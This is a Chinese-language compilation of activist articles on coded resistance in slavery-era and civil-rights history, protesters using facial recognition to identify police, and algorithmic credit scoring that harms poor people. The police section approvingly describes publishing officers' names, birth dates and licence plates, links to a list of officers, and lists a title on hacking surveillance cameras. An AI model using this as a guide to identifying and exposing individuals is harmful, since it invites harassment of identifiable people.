- “轨道” (废奴主义同盟者确定的逃亡路线)
- “车站” 或 “仓库” (可能的藏身之处)
- “列车员“ (“地下铁路” 的指南)
- “代理人“ (同盟力量，可以帮助奴隶连接到反抗组织)
- “站长” (那些愿意把逃亡的奴隶藏在自己家里的人)
- “旅客” , “货物” , “羊毛” 或 “货运” (都是指逃脱的奴隶)
- “车票” (表示奴隶已经进入 “地下铁路”)
- “股东” (向救助奴隶的反抗组织捐款的支持者)
- “酒葫芦” (北斗七星星座最亮的那一颗，位于北斗七星的手柄末端，以指明方向) ……

中国朋友应该非常理解这种战术了，就是最简单的隐写术；虽然一直有更为强大的和专业的隐写术可用，如今我们使用技术来实现隐写，然而您无法在短时间内迅速教会所有人使用这种方法，最多只能在您的亲密团队中实践。但大多数人都不难读懂暗示，尤其是，你们有共同的愿景—— 那就是自由，于是这种方法能够在地下反抗网络中迅速流行起来，它容易记忆，并便于使用。

种植园中最著名的语言交流的例子是使用歌曲。在被奴役者中，口叙历史和讲故事的传统仍然很强大，是 “隐藏在明处” 的一种方式。塔布曼说，她改变了歌曲的节奏，以暗示同伴是否能安全地出来。

哈莉特·塔布曼的著名说法是“她从未失去过任何一个乘客”—— 就是说她救助的被奴役者没有被当权者绑走。

这些战术中的许多都没有被发现也没有被写下来记录，而是以口头的方式传递。对黑人来说，阅读和书写是非法的或被禁止的。因此，将更多的传统密文记录下来更是致命的风险。

作为抵抗的语言

「图」

尽管一开始语言是个障碍，书面交流是不可能的，但随着时间的推移，英语被强加给被奴役的非洲人，许多人自己创造了一种全新的语言—— 克里奥尔语，从而找到了彼此的沟通方式。

在整个非洲移民社群中，克里奥尔语有很多不同的种类，它不仅在语言上作为一种交流和发展“家园”的方式，而且，在监视者的眼皮底下，也是一种彼此间安全沟通信息的方式。

> “圣公会”的神职人员还在报告说，非洲人很少或根本不会说英语，而是三五成群地站在一起用“奇怪的语言”相互交谈。([Lorena] Walsh 1997:96–97)——《

非裔散居地的秘密抵抗运动

当然，反对奴隶制的抗争不仅仅发生在美国，在中美洲和南美洲也广泛存在。在霸道的监视下，许多反抗战术不得不在白人至上主义者的眼皮底下迅速设计和策划。奎罗布人，也就是可以看做是巴西版的“Borderland Maroons”，他们发展出了一种对抗当时葡萄牙人统治的战术。

> “巴西人被禁止传承他们自己的文化习俗，也被严格禁止练习任何武术，卡波耶拉被认为是作为一种可以绕过这两条强行的压制性法律的方式而推出的”——《

【注：卡波耶拉（Capoeira）是一种16世纪时由巴西黑奴发展出的文化艺术，早期大部分的人认为卡波耶拉介于舞蹈与武术之间，但随着越来越多亚洲人学习卡波耶拉这门艺术之后就发现，卡波耶拉不只是一门舞蹈与武术，他是包含整个巴西文化与历史变革的艺术文化，在

巴西更有许多人相信，卡波耶拉是一个教育事业，能够创造人与人之间的友善互动、学习团队合作，以及化解冲突。】

在牙买加、海地和墨西哥的反叛运动都有广泛的战略性计划。这些反叛并不像有时所描述的那样仅仅是对压迫者自发的和正当愤怒的产物，并非如此；有些反叛行动，如牙买加的 Tacky’s War，据记载，在第一次爆发之前已经酝酿一年多了。

【注：Tacky’s War 是阿坎族奴隶和其他阿坎族部落（包括 Ashanti、Fanti、Nzema 和 Akyem）的起义。这些起义发生在1760年代的牙买加殖民地，由牙买加东部的一位名叫 Tacky 的芬蒂王室和军阀以及该岛西端的达荷美战争首领或沿海头目阿蓬戈（Apongo）领导。】

现代的反抗手段：传播、颠覆与规避

「图」

1、收音机

「图」

随着技术的进步，被压迫者也在适时进步。在民权运动的高峰期，收音机成为通知运动支持者的一个组成部分。虽然教堂可能是除礼拜之外的聚会中心，但收音机甚至在这些教堂中也存在，以提供信号和其他重要信息。正如布赖恩·沃德在《广播与南方民权斗争》中所指出的，这些信息也是以隐蔽的方式传达的。比如通过报告交通堵塞情况，以告知反抗者关于警察在哪里设置了路障。

电台使那些买不起报纸或因吉姆·克劳法而被剥夺了接受扫盲教育机会的人们也能够获得信息。黑人DJ们转播有关抗议、虚假信息、和警察检查站的消息；让社区获得及时准确的信息并尽可能地保证安全，就是这些DJ在音乐之外的重要使命，并推动他们参与公民活动，从抗议到引导新的黑人选民了解投票程序和制度。电台成为了了超越吉姆·克劳法的不同世界的中心媒介。

2、WATS电话线

「图」

广域电话服务(WATS) 也成为民权运动在往往生死攸关的重要时刻传

播信息的重要工具。

为了避开只雇用白人接线员并与执法部门勾结的垄断性贝尔系统**(“Ma Bell”)**，重要的民权组织成员使用**WATS**电话线。这些号码是专线和付费线路，如800号码；直接打通学生非暴力协调委员会（SNCC）、种族平等大会（CORE）、联邦组织理事会（COFO）、南方基督教领袖会议（SCLC）等组织的电话，这些组织的基地在通过WATS或无线电向另一基地传递信息时，都有代号可供参考。类似于密电，代号意味着什么只有自己人知道。

3、看着今天：反向监视

「图」

尽管受到严密和残酷的监视，反抗者仍在努力沟通、彼此连接，但如今的我们确实更好的有数字工具可以做得更好。随着加密技术的广泛普及，我们现在可以使用受保护的通信彼此间进行敏感信息的交流。

当然，今天并不是每个人都能自由漫游或平等使用这些服务。加密本身也在世界不同地区不断遭受被破坏的风险 —— 反加密之战是当全球当权者的持久战。

如今众所周知，Big Tech 和政府结盟一直在密切监视着全世界的人。

另一方面，就像过去发密电给抗议者的DJ那样，目前的活动组织，如BLM，反向利用监视资本家的超视距，让警察暴力在主流话题和现实生活中得到了强调。

因为有了现场视频，手机和警察扫描仪的现场记录，全世界都可以近距离地看到警察的暴行。

像《监控地图集》这样的数据库，越来越多地映射出您所在城市的警察监视技术，让您可以据此更好地制定出有效且安全的行动战术。

而我们所有人，无论是否是活动家，都可以使用工具来观察和学习抗议活动中的通信。

- 《示威者反向监视警方：全世界的抗议者正在利用面部识别”抓”便衣警察》

黑人社区自20世纪90年代以来一直在与本质上是警察部队高科技监视和军事化的行为作斗争；虽然直到现在这场斗争仍在继续，但我们已

经看到了最近的胜利，在美国许多地区，警察对面部识别技术的使用正在受到限制或被禁止，在全国各地反抗团体的支持下，人们可以用行动帮助关闭这个特别危险的监视窗口。

📌 能够相互沟通和组织起来，是植根于世界各地抵抗的根基 —— 首先就是要做到成功躲避监视，而在美国的黑人社区，这一反监视的抵抗有着悠久而重要的历史。

希望有一天我们所有人都可以摆脱监控和压迫的枷锁，自由地行动。在那之前，我们将继续看到并庆祝抵抗的精神、以及反抗者努力建立和保持强大的通信线路的创造力，尽管监视和压制从未减缓。

希望这些历史故事能为中国的反抗者积累斗志。○

Coded Resistance: Freedom Fighting and Communication

原文

示威者反向监视警方：全世界的抗议者正在利用面部识别”抓”便衣警察 - iyouport

反抗者-寻求经验生物识别-眼下最严重的威胁，以及怎么办

【2020年12月1日存档】我们分析 “技术型维稳” 是在提醒维稳机器借助技术的能力升级，而不是说技术只能用来维稳。反抗者使用现代技术抵御维稳的案例不胜枚举。发挥您的创造力，把技术力量放在重要的位置上

【注】当权者对反抗者的监视和镇压的“单向”局面，目前正在一定程度上逆转：反抗者开始反向监视并披露警察的身份及其恶劣行为，这是一个明显且值得关注的议题。比如，这里是反抗者发布的明斯克防暴警察和维稳部队官员名单：https://www.patreon.com/posts/43317494

据纽约时报报道，波特兰市禁止使用面部识别技术的规定并不适用于个人，这也是为什么 Christopher Howell 被允许继续使用生物识别技术识别该市渗透抗议活动的便衣警察。

今年早些时候，35名国会民主党人致信联邦机构，呼吁将对抗议者使用的监视技术，包括面部识别技术，进行政府管制。最近，三名国会议员与 EFF 一起致信隐私和公民自由监督委员会 (PCLOB)，敦促其调查联邦机构对抗议者的监视情况。

Howell 说，他在6月被催泪瓦斯袭击后开始研究这个项目。他使用谷歌的 TensorFlow 以及从新闻文章和社交媒体上收集到的警察照片。而他对警察的姓名和警号的公共记录请求被拒绝了。

报道称，该工具可以识别约20%的波特兰警察。

波特兰警察局的一名新闻官员表示，在抗议活动中，警方已将铭牌改成了人员编号，以保护这些维稳官员的身份。

时报在2019年还报道了一名香港抗议者开发了一个程序，可以从网上

的照片中识别警察的身份，之后这名开发者被捕。一名居住在美国的白罗斯籍侨民也在 YouTube 上发布了一段视频，展示了如何利用面部识别技术揭开被指控对白罗斯抗议者实施暴力的警察的真实身份。

白罗斯抗议者在telegram开设了一个频道，专门用于揭露暴力镇压和渗透抗议活动的警察的身份，拥有超过200万订阅者。

该组织的创始人说，该组织将接收特定人员的照片或视频，并使用面部匹配技术进行匹配搜索。如果这样做不起作用，他们会发出呼吁，要求公众进行身份识别。通常，人们会在照片中认出自己的熟人，一旦知道了目标警察的名字，他们就可以在开源数据库中搜索更详细的身份信息。

他们不仅公布防暴警察的姓名和出生日期，还包括一些车牌号码。该频道的创始人表示，将这些警察的名字公开是要羞辱他们，“警察害怕自己露脸，他们躲在面具后面。人们现在对这些人非常反感，并会告诉这些警察的所有邻居和朋友，恶魔就在他们身边。”

“如果国家不能承担伸张正义的责任，那么普通百姓完全可以将这一能力掌握在自己手中”，他说。

在法国，艺术家 Paolo Cirio 曾计划举办一个名为 “Capture（捕获）” 的展览，展出的是 Index on Censorship 所描述的公开来源的4000名法国警察的面部照片。Cirio表示，这个展览是开发面部识别应用的第一步，不过他已经坚决反对这项技术。

- 法国警察如何镇压抗议者《他们不关心你的死活，因为他们是1%》
- 警察使用什么样的镇压武器《现代维稳战术一瞥》

Cirio 说，这些警察的隐私没有任何风险，虽然他已经在网上创建了一个单独的平台来众包揭露这些警察的名字，但没有任何身份信息会与展览中的照片一起出现。展览的目的是通过将警察在抗议者身上使用的相同技术转向隐藏身份的警察，来突出执法部门使用生物识别技术的权力不对称性。

美国的抗议者借助技术的力量

「图」

布法罗警察局的说法是，75岁的活动家 Martin Gugino 在6月4日的一

次抗议活动中“被绊倒受伤”。而这一说法很快就被反驳了，因为当时现场附近一名记者的手机录像显示，Gugino 是在两名警察推搡他之后摔倒的。这位老人的头被撞在水泥地上，发出惊人的破裂声，鲜血从他的耳朵里涌出。随后，大部分警察从他身边走过，连看都没看他一眼。这段视频被迅速传播开。

- 在这里看到整个故事和视频《当我们陷入困境：中国社会能从美国的反抗运动中学到什么》

在过去，布法罗警方的说法可能会被认为是表面上的“共识”，并得到新闻媒体的宣传。但是，互联网时代不同了，随着多个版本的视频在社交媒体上传播，人们的愤怒情绪逐渐达到临界点。

涉事的两名警员都被迅速停职停薪，并被控攻击罪。当当地政客和警察工会试图捍卫自己时，数千万人观看了其中一个警察将长期从事和平反抗活动的老人 Gugino 推倒在地的视频。

周二，特朗普在毫无证据的情况下发推文称，Gugino “可能是ANTIFA的挑衅者”，他可能“伪造了”自己的摔倒 …… 这些阴谋论说法很快就被揭穿了。

- 关于对“Antifa”的污蔑《伪党争和真镇压：警察粉碎了每一个微小的抗议活动：通过BLM（7）- 有毒化学烟雾弹》

特朗普的推文确实以一种迂回的方式揭示了反警察暴行的抗议活动席卷全国的同时展开的另一种动态。

通常情况下，你会认为警察是在抗议活动中进行监控的人，他们正在积极监控全国各地的示威活动；这没错，执法部门甚至在明尼阿波利斯的抗议人群上空飞行了一架“捕食者”无人机。但现在，对于这些抗议活动，特朗普偏执地认为“是民众在监视警察”。其实他也不是完全错了。

Gugino 的视频只是最近发生的许多事件之一 —— 活动家，记者和旁观者抓住了警察的证据：以更多的暴力来回应反警察暴力的抗议活动。

在纽约警察殴打一名抗议者的视频在社交媒体上传播后，一名纽约警察被指控犯有袭击罪，他在社交媒体上被确认身份。

一系列视频证据证明，早在特朗普攻击反抗者之前，警方就对白宫附近的和平抗议者使用了化学武器，尽管政府官方否认这点。

而乔治-弗洛伊德的死亡视频或许是最有力的例子，旁观者的镜头迅速推翻了警方的说法。

- 不要错过重要内容！《镇压部队最常用哪些武器对付抗议者？-概览》

像这样追究警察责任的视频肯定会更多。如今联网的摄像头随处可见，很多人的口袋里的手机也都内置了摄像头。这些神奇的小工具可以捕捉到越来越高质量的图像，可以立即分享到无数的应用程序和网站。

- 题外话 …… 入侵摄像头是个“热门手艺”《如何入侵监视摄像头和物联网设备：黑客主义行动力（15）》

而由于公众蓬勃发展的反向监视能力，媒体已经不太愿意盲目接受警方的声明，因为这些声明与来自多个公民来源的视频和照片相矛盾。这一点，再加上抗议者可以用来组织行动的新一代应用程序，正在为新时代的反抗运动创造新的动力。

- 《技术如何塑造21世纪的创造性抗议？》
- 《新的压制和新的反抗：社会运动的智慧如何跟上技术型暴政的进化？》
- 《活动家和组织者究竟是否可以使用社交媒体进行宣传动员？：这里是一些注意事项》

当然，一如既往，警察始终在监视抗议者。但是现在，抗议者比以往任何时候都更加有能力反向监视警察。

- 重要内容！《如何在监视时代参加抗议活动》

适用于每个行动的应用

「图」

智能手机一直是活动家的重要工具。但在反抗者如何使用应用程序来协助他们的努力方面，有一些值得注意的创新。安全始终是最重要的考量。

比如 Citizen，一度被嘲笑的问题多多的邻里守望服务，但作为活动家的组织和广播工具，它正在经历一场令人惊讶的 “复兴”。

这款应用有点像令人毛骨悚然的警察扫描仪，向公众开放了应急系

统。市民团队对所有通讯进行筛选，以创建简短的事实警报，然后将其与可能距离事件四分之一英里或不到四分之一英里的任何人ping通，然后在地图上标注这些活动。

用户可以收到关于他们附近发生的事的警报，包括游行、抗议、也包括警察的存在。

虽然其他警察扫描器应用也经历了爆炸式的流行，但 Citizen 正在成为一种有效的方式，不仅可以监控抗议活动发生的情况，还可以监控警察如何镇压。在6月的第一周，有超过60万名新用户注册了Citizen，这正在塑造他们走上街头的方式。

“拥有这种级别的清晰度以了解到关于警察存在的信息，让我的参与有足够的舒适感”，一位新Citizen用户 Jorge Cueto 告诉华尔街日报。“我觉得我有足够的信息来做出明智的决定。”

另一类新用户激增的应用是安全的消息应用。如 Signal，一个提供端到端加密以及其他注重安全功能的服务，首次闯入了整体下载量最高的前10个应用，很可能是因为抗议者担心警察拦截他们的通信。

长期以来，警方一直以监控社交媒体而闻名，除非警察能在现场直接抢走发送信息的实体手机 + 抗议者设置的阅后即焚时间未到 + 手机没有锁屏密码，否则无法读取 **Signal** 上发送的信息，这也解释了为什么这类应用是如此有价值的组织工具。

- 《如何在不必暴露真实电话号码的情况下使用 Signal》

近期 Signal 还增加了安全照片和视频分享的新功能，包括模糊脸部以保护身份的功能。

- 重要内容《在将抗议现场的照片和视频发布到社交媒体上之前，请执行此操作》
- 《在线组织须知：使用互联网进行组织动员时需要注意什么》

甚至还有 Instagram，也已经成为一个强大的广播平台。除了 Twitter 和转发的力量，Instagram 及其 Stories 功能已经成为抗议者制作热门图片和视频的主要方式，他们希望全世界能看到这场反抗行动。即使 Instagram 的功能有限，活动人士也一直在利用这个平台传播信息，发起反对种族主义的全球运动，并分享了无数警察袭击、殴打抗议者的照片。

- 《如何无需帐户即可匿名查看Instagram帖子》

Instagram 并不是安全的选择，但却是能帮助活动家快速获得最大影响力的平台。这需要一个权衡，方法如下：

- 重要内容《活动家和组织者究竟是否可以使用社交媒体进行宣传动员？：这里是一些注意事项》

警察全副武装并带有间谍工具

「图」

虽然抗议者正在寻找新的、更安全的方式来浏览和记录示威活动，但警方仍然采用激进的监视策略。这并不是一件新鲜事，但人们不得不怀疑这次的效果如何。

执法部门一直在监视合法的和平示威活动，从当年的“占领华尔街”到现在的 BLM抗议活动。他们还对参加抗议活动的具体个人进行监视，并将这些信息储存在情报数据库中。

- 《警察用哪些监视方式瞄准抗议者？》
- 《“每家公司都有给警察留的后门”，现在它正在被滥用于监视》
- 《在没有CCTV的时代警察同样全面监控抗议活动，他们是怎么做的？》

过去几年，监控技术也有了很大的进步，使警方有能力实时锁定任何活动家。如美国公民自由联盟的文件显示，在 Freddie Gray 被杀后的示威活动中，巴尔的摩警察局使用了一种名为 **Geofeedia** 的位置追踪和社交媒体监控工具，寻找被发布在网上的任何抗议者的照片。警方还通过面部识别技术对图像进行处理，“以发现抗议者并直接从人群中逮捕他们”。

越来越多的先进警察监控技术清单还包括身体摄像头、自动车牌读取器、移动监控塔和无人机。事实上，在乔治·弗洛伊德遇害的那一周，执法部门就在明尼阿波利斯的抗议活动上空飞行了一架由海关和边境巡逻队提供的 “捕食者” 无人机。

这些监视工具加在一起，使警方能够同时收集数千人的数据，即使这些人并没有涉嫌任何犯罪行为。长期以来，隐私倡导者一直对警察部门如何使用监控技术缺乏监管或法律、以及警察缺乏透明度感到担忧。

特别是警用身体摄像头，曾经被认为是一种可以促进警察问责制的工具，但是，现实情况却非常复杂。

- 详见 《身体相机适得其反吗？中国正在开始流行这种东西》

由于警察部门最终对收集到的录像、以及是否向公众发布，有很大的控制权，因此，身体摄像头能在多大程度上促进公民利益是值得怀疑的。

警方也曾被抓到为了自身利益而栽赃证据。在事件中，有好几起警员的身体摄像头在最需要它们的时候没有被打开或掉落的情况，而公民获取这些录像的机会非常有限。身体摄像机还可以用来收集现场每个人的录像，让执法部门永久记录摄像机镜头所拍摄到的任何参与者。

抗议者的手机也可能无意中成为为警方所用的监视摄像头。在社交媒体上发布的抗议现场照片或视频，为执法部门提供了另一种监视手段，以确定谁在某个时间某个地点，甚至他们碰巧和谁在一起。

如果您不希望您上传的照片被警察用来对付您的同伴，那么在您拍摄的内容上就必须有策略，可以通过调整相机的角度，直到不会显示任何人的身份信息，或者使用模糊工具来遮挡，并仔细考虑您要发布的内容和原因，是否值得冒险。

监视，这种情况是双向的。抗议者、记者和旁观者也越来越多地记录警察的行为。在某种程度上，人民的摄像机正在做着警用身体摄像机的工作。

众包的力量

「图」

随着警方的监控技术越来越复杂，人们有充分的理由担心，在抗议活动中拍摄到的任何图像仍然可以在事后被警方分析。

警察部门通常可以使用复杂的人工智能技术和面部识别软件。虽然我们还不知道应对当前示威活动的执法部门会在多大程度上使用这项技术，但我们知道面部识别已经被用来识别过去参加过类似示威活动的人，而且更多警察表示现在有兴趣使用它。

不过，事后分析也是双向的。能盯着警察的公民人数几乎肯定超过了能盯着普通民众的警察的人数，公民们正在观看和分享无数小时的抗

议活动录像。

在冲突中，警徽号码被遮挡的情况下，这种众包行动有助于识别警员。纽约警察 Vincent D’Andraia 就是这种情况，在他推搡一名抗议者的视频被曝光后，他被社交媒体用户认出，并被指控犯有袭击罪。

目击者的视频也发挥了关键作用，揭穿了特朗普政府不断变化的说法，即 特朗普在圣约翰教堂前拍照之前，执法部门如何清理白宫附近的区域。来自各种机构的官员清理了华盛顿特区拉斐特广场上所有和平抗议者，给特朗普创造了从白宫到教堂的安全通道。多段视频显示，身穿全套防暴装备的官员攻击记者，向人群发射胡椒球，并投掷各种爆炸式榴弹。

事件很快演变成一场熟悉的辩论，即 政府说发生了什么，没有人相信，公众会迅速提供证据以显示什么是真的。

司法部长 Bill Barr 否认人群是和平的，否认使用了催泪瓦斯。但是，几乎在政府否认的同时，互联网上就出现了显示警察暴力攻击和平抗议者的视频。同时，在现场发现的证据证实确实存在催泪瓦斯，不过这一事实也可以从抗议者和新闻媒体拍摄的视频中得到证实。

政府的行为以及对拉斐特广场发生的事的否认，并没有得到很好的回应，甚至受到了一些在现场执行命令的国民警卫队成员的批评。阿灵顿警方也在事件发生后将其部队撤出该市，称他们的 “健康和安全” 受到了危害，“其目的不值得我们履行援助义务”。

这种趋势是一种有意义的转变。多年来，围绕警察暴行的叙述至少在某种程度上令人沮丧，由于警察能够对现实作出虚假的宣称并逍遥法外。国家警察问责项目的负责人 Michael Avery 最近告诉美联社，“现在发生的事和相关视频正在进入更大的世界，进入媒体，进入白人社区，郊区，受影响社区之外的人们正在变得更加了解发生了什么。”

我们有理由相信，这种积极的变化会继续下去。虽然有人提出了遏制或限制警方监控的法律，但美国人记录警察的权利不能轻易被立法剥夺。根据第一修正案的规定，拍摄政府官员在公共空间内的活动被认为是一种权利。

📌 拍摄取证的方法和安全须知：

- 《公民取证技巧：如何留住真相？》

- 《拍摄取证 2：详述步骤和具体技巧》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》

现在警察已经意识到这点了：他们不仅会被拍摄，而且一定程度上还要为他们在视频中所显示出的恶劣行为负责。美国律师协会指责全国各地的警察实施的暴力袭击和逮捕；Gothamist 报道，一位观察员说他被指控 “对警察进行非法的反向监视”。

这看起来是一场警方无法取胜的战争。因为他们不再控制叙事， 很难想象他们可以重新控制。摄像机无处不在，它们会一直存在，甚至孩子们也知道如何用拍摄来作证。乔治·弗洛伊德被杀的视频是由 Darnella Frazier 拍摄的。她只有17岁。○

How protesters are turning the tables on police surveillance

Facial recognition utilized by protestors around the world to identify police

原文

秘密的信用评分算法如何让你陷入贫困：这场反击战即将开启 - iyouport

反抗者-寻求经验算法暴政

【 2021年4月23日存档】算法暴政正在危害所有人，但底层平民遭受的挫折更多

【按】中国社会在反监视方面的意识正在显著提升，这是非常可喜的迹象；我们推荐过很多其他国家反监视活动家的行动技巧和思考方式，希望能为中国的活动家带来灵感。

本文是对算法暴政的反击，准确说是通过自动化算法的信用评分不公正地侵害底层平民的基本利益。中国是数据大国，中国也有信用评分系统，中国的很多社会系统正在越来越受到算法驱动，于是我们认为中国的反抗者值得对这个问题加以关注。

我们的 列表-1 中有 “算法暴政” 板块，您可以在其中看到更多相关内容。

米里亚姆遇到尼克的时候只有21岁。她是一名摄影师，刚从大学毕业，当时在做服务员。他比她大16岁，是当地一个从事金融工作的企业主。他很迷人，很有魅力；他带她出去参加高级约会，并为所有事买单。她很快就陷入了他的轨道。

这是从一张信用卡开始的。当时，那是她唯一的一张信用卡。尼克会用价值5000美元的商业消费把卡刷爆，然后在第二天迅速还清。米丽亚姆要求我不要使用他们的真名，因为她怕影响他们正在进行的离婚诉讼，她发现这样做可以提高她的 “信用评分”。

她在低收入家庭中与单亲父亲一起长大，她更相信尼克的诀窍而不是她自己的。尼克欣然鼓励这种心态，告诉米里亚姆她不懂金融。结果是，米里亚姆以自己的名义为尼克开了更多的信用卡。

麻烦从三年前就开始了。尼克让她辞掉工作，帮他做生意。她照做了。他让她去读研究生，不要担心她现有的学生债务。她也照做了。

他承诺会处理好一切，她相信了他。不久之后，他就停止了对她的信用卡余额的结算。她的信用分数开始下降。

但米里亚姆还是和尼克在一起了，他们结婚了，他们有了三个孩子，然后有一天，FBI来到他们家逮捕了尼克。

在联邦法庭上，法官判定他犯有近25万美元的电汇诈骗罪。米里亚姆发现了他以她的名义欠下的数万美元债务的全部情况。“他入狱的那天，我只有250美元现金，一栋被取消抵押品赎回权的房子，一辆待收回的汽车，三个孩子”，她说。“我在一个月前还有一个保姆，住在一个漂亮的房子里，而现在一切都变成了真正的赤贫。”

米里亚姆是所谓“强迫债务”的幸存者，这种形式的虐待通常由亲密伴侣或家庭成员实施。德州 RioGrande 法律援助公司的律师卡拉·桑切斯·亚当斯（Carla Sanchez-Adams）说，虽然经济虐待是一个长期存在的问题，但数字银行使得以受害者的名义开设账户和贷款变得更加容易。在自动信用评分算法的时代，其影响也可能更具破坏性。

几十年来，信用评分一直被用来评估消费者的信用度，但现在它们的范围要大得多，因为它们是由算法驱动的：它们不仅在数量和类型上考虑更多的数据，而且，它们越来越多地影响到你是否可以买车、租房或获得一份全职工作。

信用评分的全面影响意味着，如果你的分数被毁，几乎不可能恢复。更糟糕的是，这些算法是由私人公司所拥有的，它们不会透露他们是如何做出决定的。受害者可能会被送入下行的漩涡，有时会以无家可归或回到施虐者身边结束。

信用评分算法并不是唯一影响人们经济福祉和获得基本服务的算法。现在，算法决定了哪些儿童能进入寄养家庭，哪些病人能得到医疗服务，哪些家庭能够获得稳定的住房 …… 我们这些有能力的人可以在不知不觉中度过一生，但是，对于低收入者来说，自动决策系统的快速增长和采用，却形成了一张隐秘的网络，其中有很多环环相扣的陷阱。

幸运的是，越来越多的民事律师开始围绕这个问题组织起来。他们借鉴了刑事辩护界对风险评估算法的抵制模式，寻求在这些系统上进行自我教育，建立社区并制定诉讼策略。

“基本上每个民事律师都开始处理这个东西了，因为我们所有的客户都在某种程度上被这些自动化系统所触动”，巴尔的摩大学的法学院

教授 Michele Gilman 说，“我们需要行动起来，接受培训。如果我们想成为真正优秀的整体性律师，我们就需要意识到这一点。”

“我是不是要盘问一个算法？”

「图」

吉尔曼在巴尔的摩从事法律工作已经20年了。在她作为民事律师和贫困律师的工作中，她的案件总是归结为同样的事：代表那些失去基本需求的人，比如住房、食物、教育、工作或医疗保健。有时，这意味着要与政府机构对峙。其他时候则是与信用报告机构，或者房东对峙。而越来越多的状况是，对客户资格的争夺现在涉及某种算法。

“这种情况正在全面发生在我们的客户身上”，她说。“他们陷入了如此多不同的算法中，使他们无法获得基本服务。而客户可能没有意识到这一点，因为很多这些自动化算法系统都是看不见的。”对于低收入个人而言，暂时的经济困难会导致恶性循环，有时最终以破产或无家可归而告终。

她不记得自己到底是什么时候意识到有些资格决定是由算法做出的。但当这种转变第一次开始发生时，它很少是明显的。有一次，她代表一位年老、残疾的客户，这位客户莫名其妙地被切断了由医疗补助资助的家庭医疗护理援助。”我们找不到原因”，吉尔曼记得，“她的病越来越重，通常情况下，如果你生病了，你会得到更多的时间，而不是更少，现在却相反。”

直到他们站在法庭上进行听证会时，代表州政府的证人才透露，政府刚刚采用了一种新的算法。证人是一名护士，对此无法解释。“当然不是他们从货架上买来的”，吉尔曼说，“她是个护士，不是计算机科学家。她无法回答算法的因素是什么？它是如何加权的？你要找的结果是什么？所以我和我的学生律师一起思考，关于，‘哦，我要去盘问一个算法吗？”

对于阿肯色州法律援助机构的律师凯文·德利班（Kevin De Liban）来说，这种变化同样隐蔽。2014年，他所在的州建立了一套新的医疗补助资助的上门援助分配制度，切断了一大批原本有资格获得援助的人。当时，他和他的同事们无法找出问题的根源。他们只知道有些事情前所未有。“我们可以认识到，评估系统发生了变化，从20个问题的纸质问卷到283个问题的电子问卷”，他说。

两年后，当算法中的一个错误再次使其受到法律审查时，德利班终于

找到了问题的根源。他意识到，护士们在告诉病人：“嗯，那是电脑做的—— 不是我。”

“这就是给我们的提示”，他说。“如果我能早两年知道这些，我可能会在2014年做得更好”，他补充道。

“每个人每天都不得不遭遇那么多的系统”

「图」

吉尔曼从此变得更加精明了。从她代表客户处理各种问题的有利位置，她观察到了两种算法网络的兴起和碰撞。第一个网络是由信用报告算法组成，就像抢夺米里亚姆的那些算法一样，它影响到汽车、房屋、和就业等私人商品和服务的获取。第二个网络包括政府机构采用的算法，它影响到公共福利的获取，比如医疗、失业和子女抚养服务等等。

在信用报告方面，算法的增长是由数据的扩散所推动的，当下数据的收集和共享比以往任何时候都要容易。信用报告并不新鲜，但如今它们的足迹却远比以前更广。消费者报告机构，包括信用局、租户筛选公司或检查验证服务，都在从广泛的来源收集这些数据：公共记录，社交媒体，网络浏览，银行活动，应用程序使用等 ..... 然后，算法会给人们分配“价值”分数，这些分数在贷款人、雇主、房东甚至学校进行的背景调查中都占有很大比重。

另一方面，政府机构在想要实现系统现代化的时候，会被驱使采用算法。采用基于网络的应用程序和数字工具的推动力始于2000年代初，并一直在向更多数据驱动的自动化系统和人工智能发展。寻求这些变化有充分的理由。在大流行期间，许多失业救济系统难以处理大量的新请求，导致严重延误。对这些遗留系统进行现代化改造，有望获得更快的工作效率。

但是，软件采购过程很少透明，因此缺乏问责。公共机构往往直接从私人供应商那里购买自动化决策工具。结果是，当系统出现问题时，受影响的个人—— 以及他们的律师—— 都被蒙在鼓里。“他们（官员们）没有在任何地方发布通知”，费城法律援助的律师朱莉娅·西蒙·米歇尔（Julia Simon-MishelJulia Simon-Mishel）说，“算法通常没有写在任何种类的政策指南或政策手册中。我们都处于劣势。”

缺乏公开审核也使得系统更容易出错。2013年，密歇根州发生了一起最恶劣的故障。在大举实现该州失业救济系统自动化后，算法错误地

标记了超过3.4万人的欺诈行为。“它造成了大量的福利损失”，西蒙·米歇尔说，“有人被破产；有人不幸的自杀。这是一个整体的混乱。”吉尔曼担心冠状病毒相关的债务和驱逐将被纳入信用评分，这使人们永久难以获得工作、公寓和贷款

在向算法转变的过程中第一个受害的是低收入人群。他们是最容易受到暂时性经济困难影响的人，也是最需要和寻求公共福利的人。多年来，吉尔曼看到越来越多的此类案例，客户有可能进入一个恶性循环。“每个人每天都会经历这么多系统”，她说，“我的意思是，我们都是如此。但对于穷人和少数族裔来说，其后果更为严重。”

她举了她手头的一个案件为例。一个家庭成员因为冠状病毒疫情而失去了工作，并因为自动化系统故障而被剥夺了失业救济金。随后，这个家庭不得不拖欠房租，导致他们的房东起诉他们，要求驱逐他们。虽然由于疾控中心的暂停令，驱逐不会合法，但是这一诉讼仍然会被记录在公共记录中。这些记录会被输入到租客筛选算法中，这可能会让这个家庭今后更难找到稳定的住房。他们不支付房租和水电费的状况也可能成为他们信用评分的一个污点，这又一次产生影响。

“如果他们试图开通手机服务或贷款、买车或申请工作，就会产生这些层层叠叠的连锁反应”，吉尔曼说。

“每个案件都会变成算法案件”

「图」

去年9月，目前在数据与社会研究所任教的吉尔曼发布了一份报告，记录了贫困律师可能遇到的各种算法困境。该报告名为《贫困法算法》，旨在为她在该领域的同事提供指导。它分为消费者法、家庭法、住房和公共福利等具体实践领域，解释了如何在现有法律范围内处理算法和其他数据驱动的技术提出的问题。

例如，如果客户因为信用评分不佳而被拒绝入住公寓，报告建议律师首先检查输入评分系统的数据是否准确。根据公平信用报告法，报告机构必须确保其信息的有效性，但这并不总是发生。对任何有问题的说法提出异议，有助于恢复客户的信用，从而获得住房。然而，报告承认，现有的法律只能走到这一步。吉尔曼说，仍有监管空白需要填补。

吉尔曼希望这份报告能给大家敲响警钟。她的许多同事仍然没有意识到这一切正在发生，他们也无法对算法提出正确的问题。那些意识到

这个问题的人分散在全国各地，孤立地了解、驾驭和对抗这些系统。她认为有机会将人们联系起来，建立一个更广泛的社区，让他们互相帮助。

“我们都需要更多的培训，更多的知识 —— 不仅仅是在法律方面，更有在这些系统方面”，她说。“因为最终每个案件都会变成一个算法案件。”

